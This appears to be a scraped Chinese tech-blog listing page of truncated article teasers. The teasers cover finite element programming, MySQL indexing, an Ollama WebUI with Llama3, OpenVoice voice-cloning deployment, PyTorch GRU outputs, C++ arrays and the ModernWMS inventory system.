专栏导读 作者简介&#xff1a;工学博士&#xff0c;高级工程师&#xff0c;专注于工业软件算法研究本文已收录于专栏&#xff1a;《有限元编程从入门到精通》本专栏旨在提供 1.以案例的形式讲解各类有限元问题的程序实现&#xff0c;并提供所有案例完整源码&#xff1b;2.单元…

MySQL索引及优化

MySQL索引及优化 一、MySQL索引1、什么是索引&#xff1f;2、了解过索引的数据结构吗&#xff1f;B树和B树的区别&#xff1f;&#xff08;底层原理&#xff09;3、什么是聚簇索引&#xff08;聚集索引&#xff09;&#xff1f;什么是非聚簇索引&#xff08;二级索引&#xff0…

给Ollama套个WebUI,方便使用

Ollama 基本的安装使用参考前文 https://xugaoxiang.com/2024/05/01/ollama-offline-deploy/&#xff0c;前文使用的模型是 llama2&#xff0c;本篇将使用 llama3&#xff0c;因此在启动时&#xff0c;命令是 ollama run llama3。 Ollama Llama3 Llama3 是 Meta 发布的大语言模…

【AI工具声音克隆】——OpenVoice一键部署modelScope一键使用

一、声音/音色克隆简介 声音或音色克隆的原理实现步骤主要基于深度学习技术&#xff0c;特别是语音合成和生成模型。以下是声音/音色克隆的大致实现步骤&#xff1a; 数据收集&#xff1a; 收集语音数据&#xff0c;作为模型的训练样本。数据应尽可能多样化&#xff0c;包括不…

GRU模块:nn.GRU层的输出state与output

在 GRU&#xff08;Gated Recurrent Unit&#xff09;中&#xff0c;output 和 state 都是由 GRU 层的循环计算产生的&#xff0c;它们之间有直接的关系。state 实际上是 output 中最后一个时间步的隐藏状态。 GRU 的基本公式 GRU 的核心计算包括更新门&#xff08;update gat…

[C++基础学习-04]----C++数组详解

前言 在C中&#xff0c;数组是一种用来存储相同类型元素的数据结构。一维数组是最简单的数组形式&#xff0c;它由一系列按顺序存储的元素组成。二维数组则是由一维数组构成的数组&#xff0c;可以看作是一堆一维数组堆叠在一起形成的矩阵。 正文 01-数组简介 一维数组和二维…

库存管理系统开源啦

软件介绍 ModernWMS是一个针对小型物流仓储供应链流程的开源库存管理系统。该系统的开发初衷是为了满足中小型企业在有限IT预算下对仓储管理的需求。通过总结多年ERP系统研发经验&#xff0c;项目团队开发了这套适用于中小型企业的系统&#xff0c;以帮助那些有特定需求的用户。…
最新文章